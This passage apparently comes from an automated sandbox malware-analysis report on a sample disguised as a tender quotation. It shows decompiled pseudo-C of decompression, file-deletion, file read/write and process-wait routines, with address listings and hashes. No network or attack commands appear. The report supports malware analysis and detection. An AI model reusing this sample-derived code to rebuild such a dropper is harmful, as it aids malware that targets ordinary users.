          											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
          											 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
          											 *( *(__ebp - 0x68)) = __al;
          											__ecx =  *(__ebp - 0x14);
          											 *(__ecx +  *(__ebp - 8)) = __al;
          											__eax = __ecx + 1;
          											__edx = 0;
          											_t192 = __eax %  *(__ebp - 0x74);
          											__eax = __eax /  *(__ebp - 0x74);
          											__edx = _t192;
          											goto L79;
          										case 0x1b:
          											L75:
          											__eflags =  *(__ebp - 0x64);
          											if( *(__ebp - 0x64) == 0) {
          												 *(__ebp - 0x88) = 0x1b;
          												goto L170;
          											}
          											__eax =  *(__ebp - 0x14);
          											__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
          											__eflags = __eax -  *(__ebp - 0x74);
          											if(__eax >=  *(__ebp - 0x74)) {
          												__eax = __eax +  *(__ebp - 0x74);
          												__eflags = __eax;
          											}
          											__edx =  *(__ebp - 8);
          											__cl =  *(__eax + __edx);
          											__eax =  *(__ebp - 0x14);
          											 *(__ebp - 0x5c) = __cl;
          											 *(__eax + __edx) = __cl;
          											__eax = __eax + 1;
          											__edx = 0;
          											_t274 = __eax %  *(__ebp - 0x74);
          											__eax = __eax /  *(__ebp - 0x74);
          											__edx = _t274;
          											__eax =  *(__ebp - 0x68);
          											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
          											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
          											_t283 = __ebp - 0x64;
          											 *_t283 =  *(__ebp - 0x64) - 1;
          											__eflags =  *_t283;
          											 *( *(__ebp - 0x68)) = __cl;
          											L79:
          											 *(__ebp - 0x14) = __edx;
          											goto L80;
          										case 0x1c:
          											while(1) {
          												L123:
          												__eflags =  *(__ebp - 0x64);
          												if( *(__ebp - 0x64) == 0) {
          													break;
          												}
          												__eax =  *(__ebp - 0x14);
          												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
          												__eflags = __eax -  *(__ebp - 0x74);
          												if(__eax >=  *(__ebp - 0x74)) {
          													__eax = __eax +  *(__ebp - 0x74);
          													__eflags = __eax;
          												}
          												__edx =  *(__ebp - 8);
          												__cl =  *(__eax + __edx);
          												__eax =  *(__ebp - 0x14);
          												 *(__ebp - 0x5c) = __cl;
          												 *(__eax + __edx) = __cl;
          												__eax = __eax + 1;
          												__edx = 0;
          												_t414 = __eax %  *(__ebp - 0x74);
          												__eax = __eax /  *(__ebp - 0x74);
          												__edx = _t414;
          												__eax =  *(__ebp - 0x68);
          												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
          												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
          												 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
          												__eflags =  *(__ebp - 0x30);
          												 *( *(__ebp - 0x68)) = __cl;
          												 *(__ebp - 0x14) = _t414;
          												if( *(__ebp - 0x30) > 0) {
          													continue;
          												} else {
          													L80:
          													 *(__ebp - 0x88) = 2;
          													goto L1;
          												}
          											}
          											 *(__ebp - 0x88) = 0x1c;
          											goto L170;
          									}
          								}
          								L171:
          								_t535 = _t534 | 0xffffffff;
          								goto L172;
          							}
          						}
          					}
          				}
          			}













          0x00000000
          0x00407068
          0x00407068
          0x0040706c
          0x00407095
          0x0040709f
          0x0040706e
          0x00407077
          0x00407084
          0x00407087
          0x004073cb
          0x004073cb
          0x004073ce
          0x004073ce
          0x004073ce
          0x004073d4
          0x004073da
          0x004073e0
          0x004073fa
          0x004073fd
          0x00407403
          0x0040740e
          0x00407410
          0x004073e2
          0x004073e2
          0x004073f1
          0x004073f5
          0x004073f5
          0x0040741a
          0x00000000
          0x00000000
          0x0040741c
          0x00407420
          0x004075cf
          0x004075e5
          0x004075ed
          0x004075f4
          0x004075f6
          0x004075fd
          0x00407601
          0x00407601
          0x0040742c
          0x00407433
          0x0040743b
          0x0040743e
          0x00407441
          0x00407441
          0x00407447
          0x00407447
          0x00406be3
          0x00406be3
          0x00406be3
          0x00406bec
          0x00000000
          0x00000000
          0x00406bf2
          0x00000000
          0x00406bfd
          0x00000000
          0x00000000
          0x00406c06
          0x00406c09
          0x00406c0c
          0x00406c10
          0x00000000
          0x00000000
          0x00406c16
          0x00406c19
          0x00406c1b
          0x00406c1c
          0x00406c1f
          0x00406c21
          0x00406c22
          0x00406c24
          0x00406c27
          0x00406c2c
          0x00406c31
          0x00406c3a
          0x00406c4d
          0x00406c50
          0x00406c5c
          0x00406c84
          0x00406c86
          0x00406c94
          0x00406c94
          0x00406c98
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x00406c88
          0x00406c88
          0x00406c8b
          0x00406c8c
          0x00406c8c
          0x00000000
          0x00406c88
          0x00406c62
          0x00406c67
          0x00406c67
          0x00406c70
          0x00406c78
          0x00406c7b
          0x00000000
          0x00406c81
          0x00406c81
          0x00000000
          0x00406c81
          0x00000000
          0x00406c9e
          0x00406c9e
          0x00406ca2
          0x0040754e
          0x00000000
          0x0040754e
          0x00406cab
          0x00406cbb
          0x00406cbe
          0x00406cc1
          0x00406cc1
          0x00406cc1
          0x00406cc4
          0x00406cc8
          0x00000000
          0x00000000
          0x00406cca
          0x00406cd0
          0x00406cfa
          0x00406d00
          0x00406d07
          0x00000000
          0x00406d07
          0x00406cd6
          0x00406cd9
          0x00406cde
          0x00406cde
          0x00406ce9
          0x00406cf1
          0x00406cf4
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x00406d39
          0x00406d3f
          0x00406d42
          0x00406d4f
          0x00406d57
          0x004073cb
          0x00000000
          0x00000000
          0x00406d0e
          0x00406d0e
          0x00406d12
          0x0040755d
          0x00000000
          0x0040755d
          0x00406d1e
          0x00406d29
          0x00406d29
          0x00406d29
          0x00406d2c
          0x00406d2f
          0x00406d32
          0x00406d37
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x004073ce
          0x004073ce
          0x004073d4
          0x004073da
          0x004073e0
          0x004073fa
          0x004073fd
          0x00407403
          0x0040740e
          0x00407410
          0x004073e2
          0x004073e2
          0x004073f1
          0x004073f5
          0x004073f5
          0x0040741a
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x00406d5f
          0x00406d61
          0x00406d64
          0x00406dd5
          0x00406dd8
          0x00406ddb
          0x00406de2
          0x00406dec
          0x004073cb
          0x004073cb
          0x00000000
          0x004073cb
          0x004073cb
          0x00406d66
          0x00406d6a
          0x00406d6d
          0x00406d6f
          0x00406d72
          0x00406d75
          0x00406d77
          0x00406d7a
          0x00406d7c
          0x00406d81
          0x00406d84
          0x00406d87
          0x00406d8b
          0x00406d92
          0x00406d95
          0x00406d9c
          0x00406da0
          0x00406da8
          0x00406da8
          0x00406da8
          0x00406da2
          0x00406da2
          0x00406da2
          0x00406d97
          0x00406d97
          0x00406d97
          0x00406dac
          0x00406daf
          0x00406dcd
          0x00406dcf
          0x00000000
          0x00406db1
          0x00406db1
          0x00406db4
          0x00406db7
          0x00406dba
          0x00406dbc
          0x00406dbc
          0x00406dbc
          0x00406dbf
          0x00406dc2
          0x00406dc4
          0x00406dc5
          0x00406dc8
          0x00000000
          0x00406dc8
          0x00000000
          0x00406ffe
          0x00407002
          0x00407020
          0x00407023
          0x0040702a
          0x0040702d
          0x00407030
          0x00407033
          0x00407036
          0x00407039
          0x0040703b
          0x00407042
          0x00407043
          0x00407045
          0x00407048
          0x0040704b
          0x0040704e
          0x0040704e
          0x00407053
          0x00000000
          0x00407053
          0x00407004
          0x00407007
          0x0040700a
          0x00407014
          0x004073cb
          0x004073cb
          0x00000000
          0x004073cb
          0x00000000
          0x00000000
          0x00000000
          0x004070ab
          0x004070af
          0x00000000
          0x00000000
          0x004070b5
          0x004070b9
          0x00000000
          0x00000000
          0x004070bf
          0x004070c1
          0x004070c5
          0x004070c5
          0x004070c8
          0x004070cc
          0x00000000
          0x00000000
          0x0040711c
          0x00407120
          0x00407127
          0x0040712a
          0x0040712d
          0x00407137
          0x004073cb
          0x004073cb
          0x00000000
          0x004073cb
          0x004073cb
          0x00407122
          0x00000000
          0x00000000
          0x00407143
          0x00407147
          0x0040714e
          0x00407151
          0x00407154
          0x00407149
          0x00407149
          0x00407149
          0x00407157
          0x0040715a
          0x0040715d
          0x0040715d
          0x00407160
          0x00407163
          0x00407166
          0x00407166
          0x00407169
          0x00407170
          0x00407175
          0x00000000
          0x00000000
          0x00407203
          0x00407203
          0x00407207
          0x004075a5
          0x00000000
          0x004075a5
          0x0040720d
          0x00407210
          0x00407213
          0x00407217
          0x0040721a
          0x00407220
          0x00407222
          0x00407222
          0x00407222
          0x00407225
          0x00407228
          0x00000000
          0x00000000
          0x00406df8
          0x00406df8
          0x00406dfc
          0x00407569
          0x00000000
          0x00407569
          0x00406e02
          0x00406e05
          0x00406e08
          0x00406e0c
          0x00406e0f
          0x00406e15
          0x00406e17
          0x00406e17
          0x00406e17
          0x00406e1a
          0x00406e1d
          0x00406e1d
          0x00406e20
          0x00406e23
          0x00000000
          0x00000000
          0x00406e29
          0x00406e2f
          0x00000000
          0x00000000
          0x00406e35
          0x00406e35
          0x00406e39
          0x00406e3c
          0x00406e3f
          0x00406e42
          0x00406e45
          0x00406e46
          0x00406e49
          0x00406e4b
          0x00406e51
          0x00406e54
          0x00406e57
          0x00406e5a
          0x00406e5d
          0x00406e60
          0x00406e63
          0x00406e7f
          0x00406e82
          0x00406e85
          0x00406e88
          0x00406e8f
          0x00406e93
          0x00406e95
          0x00406e99
          0x00406e65
          0x00406e65
          0x00406e69
          0x00406e71
          0x00406e76
          0x00406e78
          0x00406e7a
          0x00406e7a
          0x00406e9c
          0x00406ea3
          0x00406ea6
          0x00000000
          0x00406eac
          0x00000000
          0x00406eac
          0x00000000
          0x00406eb1
          0x00406eb1
          0x00406eb5
          0x00407575
          0x00000000
          0x00407575
          0x00406ebb
          0x00406ebe
          0x00406ec1
          0x00406ec5
          0x00406ec8
          0x00406ece
          0x00406ed0
          0x00406ed0
          0x00406ed0
          0x00406ed3
          0x00406ed6
          0x00406ed6
          0x00406ed6
          0x00406edc
          0x00000000
          0x00000000
          0x00406ede
          0x00406ee1
          0x00406ee4
          0x00406ee7
          0x00406eea
          0x00406eed
          0x00406ef0
          0x00406ef3
          0x00406ef6
          0x00406ef9
          0x00406efc
          0x00406f14
          0x00406f17
          0x00406f1a
          0x00406f1d
          0x00406f1d
          0x00406f20
          0x00406f24
          0x00406f26
          0x00406efe
          0x00406efe
          0x00406f06
          0x00406f0b
          0x00406f0d
          0x00406f0f
          0x00406f0f
          0x00406f29
          0x00406f30
          0x00406f33
          0x00000000
          0x00406f35
          0x00000000
          0x00406f35
          0x00406f33
          0x00406f3a
          0x00406f3a
          0x00406f3a
          0x00406f3a
          0x00000000
          0x00000000
          0x00406f75
          0x00406f75
          0x00406f79
          0x00407581
          0x00000000
          0x00407581
          0x00406f7f
          0x00406f82
          0x00406f85
          0x00406f89
          0x00406f8c
          0x00406f92
          0x00406f94
          0x00406f94
          0x00406f94
          0x00406f97
          0x00406f9a
          0x00406f9a
          0x00406fa0
          0x00406f3e
          0x00406f3e
          0x00406f41
          0x00000000
          0x00406f41
          0x00406fa2
          0x00406fa2
          0x00406fa5
          0x00406fa8
          0x00406fab
          0x00406fae
          0x00406fb1
          0x00406fb4
          0x00406fb7
          0x00406fba
          0x00406fbd
          0x00406fc0
          0x00406fd8
          0x00406fdb
          0x00406fde
          0x00406fe1
          0x00406fe1
          0x00406fe4
          0x00406fe8
          0x00406fea
          0x00406fc2
          0x00406fc2
          0x00406fca
          0x00406fcf
          0x00406fd1
          0x00406fd3
          0x00406fd3
          0x00406fed
          0x00406ff4
          0x00406ff7
          0x00000000
          0x00406ff9
          0x00000000
          0x00406ff9
          0x00000000
          0x00407286
          0x00407286
          0x0040728a
          0x004075b1
          0x00000000
          0x004075b1
          0x00407290
          0x00407293
          0x00407296
          0x0040729a
          0x0040729d
          0x004072a3
          0x004072a5
          0x004072a5
          0x004072a5
          0x004072a8
          0x00000000
          0x00000000
          0x00407056
          0x00407056
          0x00407059
          0x004073cb
          0x004073cb
          0x00000000
          0x004073cb
          0x00000000
          0x00407395
          0x00407399
          0x004073bb
          0x004073be
          0x004073c8
          0x004073cb
          0x004073cb
          0x00000000
          0x004073cb
          0x004073cb
          0x0040739b
          0x0040739e
          0x004073a2
          0x004073a5
          0x004073a5
          0x004073a8
          0x00000000
          0x00000000
          0x00407452
          0x00407456
          0x00407474
          0x00407474
          0x00407474
          0x0040747b
          0x00407482
          0x00407489
          0x00407489
          0x00000000
          0x00407489
          0x00407458
          0x0040745b
          0x0040745e
          0x00407461
          0x00407468
          0x004073ac
          0x004073ac
          0x004073af
          0x00000000
          0x00000000
          0x00407543
          0x00407546
          0x00407447
          0x00000000
          0x00000000
          0x0040717d
          0x0040717f
          0x00407186
          0x00407187
          0x00407189
          0x0040718c
          0x00000000
          0x00000000
          0x00407194
          0x00407197
          0x0040719a
          0x0040719c
          0x0040719e
          0x0040719e
          0x0040719f
          0x004071a2
          0x004071a9
          0x004071ac
          0x004071ba
          0x00000000
          0x00000000
          0x00407490
          0x00407490
          0x00407493
          0x0040749a
          0x00000000
          0x00000000
          0x0040749f
          0x0040749f
          0x004074a3
          0x004075db
          0x00000000
          0x004075db
          0x004074a9
          0x004074ac
          0x004074af
          0x004074b3
          0x004074b6
          0x004074bc
          0x004074be
          0x004074be
          0x004074be
          0x004074c1
          0x004074c4
          0x004074c4
          0x004074c4
          0x004074c4
          0x004074c7
          0x004074c7
          0x004074cb
          0x0040752b
          0x0040752e
          0x00407533
          0x00407534
          0x00407536
          0x00407538
          0x0040753b
          0x00407447
          0x00407447
          0x00000000
          0x0040744d
          0x00407447
          0x004074cd
          0x004074d3
          0x004074d6
          0x004074d9
          0x004074dc
          0x004074df
          0x004074e2
          0x004074e5
          0x004074e8
          0x004074eb
          0x004074ee
          0x00407507
          0x0040750a
          0x0040750d
          0x00407510
          0x00407514
          0x00407516
          0x00407516
          0x00407517
          0x0040751a
          0x004074f0
          0x004074f0
          0x004074f8
          0x004074fd
          0x004074ff
          0x00407502
          0x00407502
          0x0040751d
          0x00407524
          0x00000000
          0x00407526
          0x00000000
          0x00407526
          0x00000000
          0x004071c2
          0x004071c5
          0x004071fb
          0x0040732b
          0x0040732b
          0x0040732b
          0x0040732b
          0x0040732e
          0x0040732e
          0x00407331
          0x00407333
          0x004075bd
          0x00000000
          0x004075bd
          0x00407339
          0x0040733c
          0x00000000
          0x00000000
          0x00407342
          0x00407346
          0x00407349
          0x00407349
          0x00407349
          0x00000000
          0x00407349
          0x004071c7
          0x004071c9
          0x004071cb
          0x004071cd
          0x004071d0
          0x004071d1
          0x004071d3
          0x004071d5
          0x004071d8
          0x004071db
          0x004071f1
          0x004071f6
          0x0040722e
          0x0040722e
          0x00407232
          0x0040725e
          0x00407260
          0x00407267
          0x0040726a
          0x0040726d
          0x0040726d
          0x00407272
          0x00407272
          0x00407274
          0x00407277
          0x0040727e
          0x00407281
          0x004072ae
          0x004072ae
          0x004072b1
          0x004072b4
          0x00407328
          0x00407328
          0x00407328
          0x00000000
          0x00407328
          0x004072b6
          0x004072bc
          0x004072bf
          0x004072c2
          0x004072c5
          0x004072c8
          0x004072cb
          0x004072ce
          0x004072d1
          0x004072d4
          0x004072d7
          0x004072f0
          0x004072f2
          0x004072f5
          0x004072f6
          0x004072f9
          0x004072fb
          0x004072fe
          0x00407300
          0x00407302
          0x00407305
          0x00407307
          0x0040730a
          0x0040730e
          0x00407310
          0x00407310
          0x00407311
          0x00407314
          0x00407317
          0x004072d9
          0x004072d9
          0x004072e1
          0x004072e6
          0x004072e8
          0x004072eb
          0x004072eb
          0x0040731a
          0x00407321
          0x004072ab
          0x004072ab
          0x004072ab
          0x004072ab
          0x00000000
          0x00407323
          0x00000000
          0x00407323
          0x00407321
          0x00407234
          0x00407237
          0x00407239
          0x0040723c
          0x0040723f
          0x00407242
          0x00407244
          0x00407247
          0x0040724a
          0x0040724a
          0x0040724d
          0x0040724d
          0x00407250
          0x00407257
          0x0040722b
          0x0040722b
          0x0040722b
          0x0040722b
          0x00000000
          0x00407259
          0x00000000
          0x00407259
          0x00407257
          0x004071dd
          0x004071e0
          0x004071e2
          0x004071e5
          0x00000000
          0x00000000
          0x00406f44
          0x00406f44
          0x00406f48
          0x0040758d
          0x00000000
          0x0040758d
          0x00406f4e
          0x00406f51
          0x00406f54
          0x00406f57
          0x00406f5a
          0x00406f5d
          0x00406f60
          0x00406f62
          0x00406f65
          0x00406f68
          0x00406f6b
          0x00406f6d
          0x00406f6d
          0x00406f6d
          0x00000000
          0x00000000
          0x004070cf
          0x004070cf
          0x004070d3
          0x00407599
          0x00000000
          0x00407599
          0x004070d9
          0x004070dc
          0x004070df
          0x004070e2
          0x004070e4
          0x004070e4
          0x004070e4
          0x004070e7
          0x004070ea
          0x004070ed
          0x004070f0
          0x004070f3
          0x004070f6
          0x004070f7
          0x004070f9
          0x004070f9
          0x004070f9
          0x004070fc
          0x004070ff
          0x00407102
          0x00407105
          0x00407105
          0x00407105
          0x00407108
          0x0040710a
          0x0040710a
          0x00000000
          0x00000000
          0x0040734c
          0x0040734c
          0x0040734c
          0x00407350
          0x00000000
          0x00000000
          0x00407356
          0x00407359
          0x0040735c
          0x0040735f
          0x00407361
          0x00407361
          0x00407361
          0x00407364
          0x00407367
          0x0040736a
          0x0040736d
          0x00407370
          0x00407373
          0x00407374
          0x00407376
          0x00407376
          0x00407376
          0x00407379
          0x0040737c
          0x0040737f
          0x00407382
          0x00407385
          0x00407389
          0x0040738b
          0x0040738e
          0x00000000
          0x00407390
          0x0040710d
          0x0040710d
          0x00000000
          0x0040710d
          0x0040738e
          0x004075c3
          0x00000000
          0x00000000
          0x00406bf2
          0x004075fa
          0x004075fa
          0x00000000
          0x004075fa
          0x00407447
          0x004073ce
          0x004073cb

          Memory Dump Source
          • Source File: 00000000.00000002.259395467.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.259385479.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259404970.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259522604.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_Tender_QUOTATION__LH22000309AA2023.jbxd
          Similarity
          • API ID:
          • String ID:
          • API String ID:
          • Opcode ID: b33066b9a67caffcdb2859c2a3d237c195f810e8b6f417b46283b98aba377de3
          • Instruction ID: 947ff9f4813c08031b822263453b6bbc7859602ae013fffc9a74d3363ad91bbb
          • Opcode Fuzzy Hash: b33066b9a67caffcdb2859c2a3d237c195f810e8b6f417b46283b98aba377de3
          • Instruction Fuzzy Hash: FE713471E04228DBEF28CF98C8547ADBBB1FF44305F15806AD856BB281C778A986DF45
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 41%
          			E00405D2C(void* __eflags, WCHAR* _a4, signed int _a8) {
          				int _t9;
          				long _t13;
          				WCHAR* _t14;
          
          				_t14 = _a4;
          				_t13 = E00406133(_t14);
          				if(_t13 == 0xffffffff) {
          					L8:
          					return 0;
          				}
          				_push(_t14);
          				if((_a8 & 0x00000001) == 0) {
          					_t9 = DeleteFileW();
          				} else {
          					_t9 = RemoveDirectoryW(); // executed
          				}
          				if(_t9 == 0) {
          					if((_a8 & 0x00000004) == 0) {
          						SetFileAttributesW(_t14, _t13);
          					}
          					goto L8;
          				} else {
          					return 1;
          				}
          			}






          0x00405d2d
          0x00405d38
          0x00405d3d
          0x00405d6d
          0x00000000
          0x00405d6d
          0x00405d44
          0x00405d45
          0x00405d4f
          0x00405d47
          0x00405d47
          0x00405d47
          0x00405d57
          0x00405d63
          0x00405d67
          0x00405d67
          0x00000000
          0x00405d59
          0x00000000
          0x00405d5b

          APIs
            • Part of subcall function 00406133: GetFileAttributesW.KERNELBASE(?,?,00405D38,?,?,00000000,00405F0E,?,?,?,?), ref: 00406138
            • Part of subcall function 00406133: SetFileAttributesW.KERNELBASE(?,00000000), ref: 0040614C
          • RemoveDirectoryW.KERNELBASE(?,?,?,00000000,00405F0E), ref: 00405D47
          • DeleteFileW.KERNEL32(?,?,?,00000000,00405F0E), ref: 00405D4F
          • SetFileAttributesW.KERNEL32(?,00000000), ref: 00405D67
          Memory Dump Source
          • Source File: 00000000.00000002.259395467.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.259385479.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259404970.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259522604.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_Tender_QUOTATION__LH22000309AA2023.jbxd
          Similarity
          • API ID: File$Attributes$DeleteDirectoryRemove
          • String ID:
          • API String ID: 1655745494-0
          • Opcode ID: 80ad4dccc83bd5cfbcd7ef077da852fe0cb096cb549a199170c52783d075929e
          • Instruction ID: f7500ddcb6900c42920b0fa7cdf939b3a50fd8fb6693fff67202f671924a8b23
          • Opcode Fuzzy Hash: 80ad4dccc83bd5cfbcd7ef077da852fe0cb096cb549a199170c52783d075929e
          • Instruction Fuzzy Hash: 6DE0E531218A9156C3207734AD0CB5B2A98EF86314F09893FF5A2B11E0D77885078AAD
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 100%
          			E00406AE0(void* __ecx, void* _a4) {
          				long _v8;
          				long _t6;
          
          				_t6 = WaitForSingleObject(_a4, 0x64);
          				while(_t6 == 0x102) {
          					E00406A71(0xf);
          					_t6 = WaitForSingleObject(_a4, 0x64);
          				}
          				GetExitCodeProcess(_a4,  &_v8); // executed
          				return _v8;
          			}





          0x00406af1
          0x00406b08
          0x00406afc
          0x00406b06
          0x00406b06
          0x00406b13
          0x00406b1f

          APIs
          • WaitForSingleObject.KERNEL32(?,00000064), ref: 00406AF1
          • WaitForSingleObject.KERNEL32(?,00000064,0000000F), ref: 00406B06
          • GetExitCodeProcess.KERNELBASE ref: 00406B13
          Memory Dump Source
          • Source File: 00000000.00000002.259395467.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.259385479.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259404970.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259522604.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_Tender_QUOTATION__LH22000309AA2023.jbxd
          Similarity
          • API ID: ObjectSingleWait$CodeExitProcess
          • String ID:
          • API String ID: 2567322000-0
          • Opcode ID: c0daa64154bb0774b0f48346674b492318025e1df3185352ae56c24ee987a067
          • Instruction ID: dffe0f0baa3edeb4a8159ab808a8d66eaa88359a938bc324e0f181ad12cbd91f
          • Opcode Fuzzy Hash: c0daa64154bb0774b0f48346674b492318025e1df3185352ae56c24ee987a067
          • Instruction Fuzzy Hash: 36E09236600118FBDB00AB54DD05E9E7B6ADB45704F114036FA05B6190C6B1AE22DA94
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 100%
          			E0040620A(void* _a4, void* _a8, long _a12) {
          				int _t7;
          				long _t11;
          
          				_t11 = _a12;
          				_t7 = WriteFile(_a4, _a8, _t11,  &_a12, 0); // executed
          				if(_t7 == 0 || _t11 != _a12) {
          					return 0;
          				} else {
          					return 1;
          				}
          			}





          0x0040620e
          0x0040621e
          0x00406226
          0x00000000
          0x0040622d
          0x00000000
          0x0040622f

          APIs
          • WriteFile.KERNELBASE(?,00000000,00000000,00000000,00000000,0040DA3E,OfFile,00403579,OfFile,0040DA3E,00414EF0,00004000,?,00000000,004033A3,00000004), ref: 0040621E
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.259395467.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.259385479.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259404970.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259522604.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_Tender_QUOTATION__LH22000309AA2023.jbxd
          Similarity
          • API ID: FileWrite
          • String ID: OfFile
          • API String ID: 3934441357-1415044549
          • Opcode ID: 3dec9289c2e50997f5b7f42c7d661c3d3292bfbb80aff78175bf8fde073ef60e
          • Instruction ID: 398385dbb58ca0a44fa402a726e0ab0b2131cea3ae709c8a1b666252059dd88a
          • Opcode Fuzzy Hash: 3dec9289c2e50997f5b7f42c7d661c3d3292bfbb80aff78175bf8fde073ef60e
          • Instruction Fuzzy Hash: F6E08632141129EBCF10AE548C00EEB375CFB01350F014476F955E3040D330E93087A5
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 100%
          			E004061DB(void* _a4, void* _a8, long _a12) {
          				int _t7;
          				long _t11;
          
          				_t11 = _a12;
          				_t7 = ReadFile(_a4, _a8, _t11,  &_a12, 0); // executed
          				if(_t7 == 0 || _t11 != _a12) {
          					return 0;
          				} else {
          					return 1;
          				}
          			}





          0x004061df
          0x004061ef
          0x004061f7
          0x00000000
          0x004061fe
          0x00000000
          0x00406200

          APIs
          • ReadFile.KERNELBASE(?,00000000,00000000,00000000,00000000,00414EF0,OfFile,004035F5,?,?,004034F9,00414EF0,00004000,?,00000000,004033A3), ref: 004061EF
          Strings
          Memory Dump Source
          • Source File: 00000000.00000002.259395467.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
          • Associated: 00000000.00000002.259385479.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259404970.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.000000000040C000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000425000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000427000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259416985.0000000000435000.00000004.00000001.01000000.00000003.sdmpDownload File
          • Associated: 00000000.00000002.259522604.000000000043B000.00000002.00000001.01000000.00000003.sdmpDownload File
          Joe Sandbox IDA Plugin
          • Snapshot File: hcaresult_0_2_400000_Tender_QUOTATION__LH22000309AA2023.jbxd
          Similarity
          • API ID: FileRead
          • String ID: OfFile
          • API String ID: 2738559852-1415044549
          • Opcode ID: 0024165f2f5d2011be9120f41fe866c54f7b8e58de784a1218c53157080e4b8c
          • Instruction ID: 689b8facb1381159ac92aeccc4703b7db47ce2620db9a14c340ec3ef8a35c8b1
          • Opcode Fuzzy Hash: 0024165f2f5d2011be9120f41fe866c54f7b8e58de784a1218c53157080e4b8c
          • Instruction Fuzzy Hash: C1E0863250021AABDF10AE518C04AEB375CEB01360F014477F922E2150D230E82187E8
          Uniqueness

          Uniqueness Score: -1.00%

          C-Code - Quality: 92%
          			E00403371(void* __ecx, long _a4, void* _a8, void* _a12, long _a16) {
          				long _v8;
          				long _t21;
          				long _t22;
